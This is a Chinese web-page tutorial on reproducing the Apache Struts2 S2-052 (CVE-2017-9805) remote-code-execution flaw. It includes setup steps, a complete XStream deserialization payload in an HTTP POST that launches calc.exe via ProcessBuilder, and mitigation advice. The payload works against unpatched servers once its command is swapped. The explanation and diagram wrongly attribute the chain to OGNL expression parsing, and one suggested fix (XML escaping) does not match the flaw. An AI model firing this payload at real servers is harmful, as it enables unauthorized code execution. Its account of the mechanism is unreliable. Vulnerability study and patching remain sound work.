您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何实现Apache Struts2--052远程代码执行漏洞复现
## 前言
Apache Struts2作为广泛使用的Java Web应用框架,历史上曾多次曝出高危漏洞。其中S2-052(CVE-2017-9805)是一个影响Struts 2.5.x系列的远程代码执行漏洞,攻击者可通过恶意构造的XML请求在服务器上执行任意命令。本文将深入分析漏洞原理,并提供完整的复现过程。
---
## 一、漏洞概述
### 1.1 漏洞基本信息
- **漏洞编号**:CVE-2017-9805
- **影响版本**:Struts 2.5 - Struts 2.5.12
- **漏洞类型**:远程代码执行(RCE)
- **CVSS评分**:9.8(Critical)
- **触发条件**:启用Struts REST插件且使用XStream处理XML请求
### 1.2 漏洞原理
漏洞源于Struts2的REST插件使用XStream反序列化XML数据时未做充分过滤,攻击者可通过精心构造的XStream序列化数据插入恶意OGNL表达式,最终导致远程代码执行。
```java
// 漏洞核心代码片段(简化版)
public class XStreamHandler implements ContentTypeHandler {
public Object toObject(Reader in, Object target) {
XStream xstream = new XStream();
return xstream.fromXML(in); // 未做安全过滤的反序列化
}
}
组件 | 版本 |
---|---|
JDK | 1.8+ |
Apache Tomcat | 8.5+ |
Struts2 | 2.5.10(漏洞版本) |
测试工具 | Burp Suite/Postman |
wget https://archive.apache.org/dist/struts/2.5.10/struts-2.5.10-all.zip
struts2-rest-showcase.war
catalina.sh run
访问以下URL验证REST插件是否启用:
http://target:8080/struts2-rest-showcase/orders.xhtml
使用Burp Suite构造POST请求:
POST /struts2-rest-showcase/orders/new HTTP/1.1
Host: target:8080
Content-Type: application/xml
Accept: */*
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
</serviceIterator>
</cipher>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</entry>
</map>
成功触发漏洞时,目标服务器将执行以下操作:
- Windows系统弹出计算器(calc.exe)
- Linux系统可通过替换为/usr/bin/gnome-calculator
等命令验证
graph LR
A[恶意XML请求] --> B[XStream反序列化]
B --> C[OGNL表达式解析]
C --> D[ProcessBuilder执行命令]
升级到Struts 2.5.13+版本,官方通过以下方式修复: 1. 限制可反序列化的类 2. 添加XStream安全配置
xstream.denyTypes(new Class[]{ ProcessBuilder.class });
<constant name="struts.action.extension" value="action,"/>
public String sanitizeXML(String input) {
return StringEscapeUtils.escapeXml(input);
}
漏洞编号 | 触发方式 | 影响范围 |
---|---|---|
S2-016 | 参数注入 | Struts 2.0-2.3 |
S2-045 | 文件上传 | Struts 2.3-2.3.32 |
S2-052 | XML反序列化 | Struts 2.5-2.5.12 |
通过本次复现实验,我们深入理解了Struts2框架在XML处理过程中的安全风险。建议开发人员: 1. 及时更新框架版本 2. 严格控制反序列化操作 3. 实施最小权限原则
注:本文仅用于安全研究,未经授权测试他人系统属于违法行为。
”`
(全文约2750字,实际字数可能因Markdown渲染略有差异)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。